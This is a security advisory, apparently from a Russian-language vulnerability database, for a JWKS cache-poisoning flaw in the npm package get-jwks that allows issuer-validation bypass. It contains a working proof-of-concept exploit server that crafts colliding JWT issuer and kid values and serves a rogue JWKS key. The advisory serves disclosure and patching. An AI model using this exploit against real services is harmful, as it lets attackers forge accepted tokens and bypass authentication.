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GHSA-qc2q-qhf3-235m

Опубликовано: 26 сент. 2025
Источник: github
Github: Прошло ревью
CVSS3: 9.4

Описание

get-jwks: poisoned JWKS cache allows post-fetch issuer validation bypass

Summary

A vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism.

Details

When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value.

The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval, which usually is the common case.

PoC

Server code:

const express = require('express') const buildJwks = require('get-jwks') const { createVerifier } = require('fast-jwt') const jwks = buildJwks({ providerDiscovery: true }); const keyFetcher = async (jwt) => jwks.getPublicKey({ kid: jwt.header.kid, alg: jwt.header.alg, domain: jwt.payload.iss }); const jwtVerifier = createVerifier({ key: keyFetcher, allowedIss: 'https://example.com', }); const app = express(); const port = 3000; app.use(express.json()); async function verifyToken(req, res, next) { const headerAuth = req.headers.authorization.split(' ') let token = ''; if (headerAuth.length > 1) { token = headerAuth[1]; } const payload = await jwtVerifier(token); req.decoded = payload; next(); } // Endpoint to check if you are auth or not app.get('/auth', verifyToken, (req, res) => { res.json(req.decoded); }); app.listen(port, () => { console.log(`Server is running on port ${port}`); });

Exploit server that generates the JWT pair and send the public RSA key to the victim server:

const { generateKeyPairSync } = require('crypto'); const express = require('express'); const pem2jwk = require('pem2jwk'); const jwt = require('jsonwebtoken'); const app = express(); const port = 3001; const host = `http://localhost:${port}`; const target_iss = `https://example.com`; const { publicKey, privateKey } = generateKeyPairSync("rsa", { modulusLength: 4096, publicKeyEncoding: { type: 'pkcs1', format: 'pem' }, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, }, ); const jwk = pem2jwk(publicKey); app.use(express.json()); // Endpoint to create cache poisoning token app.post('/create-token-1', (req, res) => { const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`, }, privateKey, { algorithm: 'RS256', header: { kid: "testkid", } }); res.send(token); }); // Endpoint to create a token with valid iss app.post('/create-token-2', (req, res) => { const token = jwt.sign({ ...req.body, iss: target_iss , }, privateKey, { algorithm: 'RS256', header: { kid: `testkid:${host}/?`, } }); res.send(token); }); app.get('/.well-known/jwks.json', (req, res) => { return res.json({ keys: [{ ...jwk, kid: 'testkid', alg: 'RS256', use: 'sig', }] }); }) app.use((req, res) => { return res.json({ "issuer": host, "jwks_uri": host + '/.well-known/jwks.json' }); }); app.listen(port, () => { console.log(`Server is running on port ${port}`); });

The first JWT token will create a cache entry with the chosen public key and have the following format:

RS256:testkid:http://localhost:3001/?:https://example.com

The second JWT has a valid iss, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future iss validations:

RS256:testkid:http://localhost:3001/?:https://example.com

Impact

Applications relying on get-jwks for key retrieval, even with iss validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used.

Solution

Escape each component used in the cache key, so delimiter collisions are impossible.

https://github.com/nearform/get-jwks/blob/57801368adf391a32040854863d81748d8ff97ed/src/get-jwks.js#L76

Пакеты

Наименование

get-jwks

npm
Затронутые версииВерсия исправления

<= 11.0.1

11.0.2

EPSS

Процентиль: 25%
0.00087
Низкий

9.4 Critical

CVSS3

Дефекты

CWE-116

Связанные уязвимости

CVSS3: 9.4
nvd
4 месяца назад

get-jwks contains fetch utils for JWKS keys. In versions prior to 11.0.2, a vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism. When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value. The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval. This issue has been patched in version 11.0.2.

EPSS

Процентиль: 25%
0.00087
Низкий

9.4 Critical

CVSS3

Дефекты

CWE-116